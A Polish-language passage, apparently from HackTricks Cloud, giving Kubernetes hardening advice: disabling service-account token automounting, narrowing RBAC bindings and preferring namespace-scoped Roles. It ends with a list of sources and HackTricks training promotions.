Wyłączanie automatycznego montowania tokenów konta serwisowego
- Pods i Service Accounts: Domyślnie pody montują token konta serwisowego. Aby zwiększyć bezpieczeństwo, Kubernetes umożliwia wyłączenie tej funkcji automount.
- Jak zastosować: Ustaw
automountServiceAccountToken: falsew konfiguracji kont serwisowych lub podów, począwszy od wersji Kubernetes 1.6.
Ograniczone przypisywanie użytkowników w RoleBindings/ClusterRoleBindings
- Selektywne uwzględnianie: Upewnij się, że tylko niezbędni użytkownicy są uwzględnieni w RoleBindings lub ClusterRoleBindings. Regularnie przeprowadzaj audyt i usuwaj zbędnych użytkowników, aby utrzymać wysokie bezpieczeństwo.
Role specyficzne dla namespace zamiast ról na poziomie klastra
- Roles vs. ClusterRoles: Preferuj używanie Roles i RoleBindings dla uprawnień specyficznych dla namespace zamiast ClusterRoles i ClusterRoleBindings, które obowiązują w całym klastrze. Takie podejście daje dokładniejszą kontrolę i ogranicza zakres uprawnień.
Używaj zautomatyzowanych narzędzi
GitHub - cyberark/KubiScan: A tool to scan Kubernetes cluster for risky permissions \xc2\xb7 GitHub
Źródła
- https://www.cyberark.com/resources/threat-research-blog/securing-kubernetes-clusters-by-eliminating-risky-permissions
- https://www.cyberark.com/resources/threat-research-blog/kubernetes-pentest-methodology-part-1
- https://blog.rewanthtammana.com/creating-malicious-admission-controllers
- https://kubenomicon.com/Lateral_movement/CoreDNS_poisoning.html
- https://kubenomicon.com/
- nodes/proxy GET -> kubelet exec WebSocket bypass
- nodes/proxy GET detection script
- websocat
Tip
Ucz się & ćwicz AWS Hacking:
HackTricks Training AWS Red Team Expert (ARTE)
Ucz się & ćwicz GCP Hacking:HackTricks Training GCP Red Team Expert (GRTE)
Ucz się & ćwicz Az Hacking:HackTricks Training Azure Red Team Expert (AzRTE)
Wspieraj HackTricks
- Sprawdź subscription plans!
- Dołącz do 💬 Discord group lub telegram group lub śledź nas na Twitterze 🐦 @hacktricks_live.
- Podziel się hacking tricks, zgłaszając PRy do HackTricks i HackTricks Cloud github repos.
HackTricks Cloud

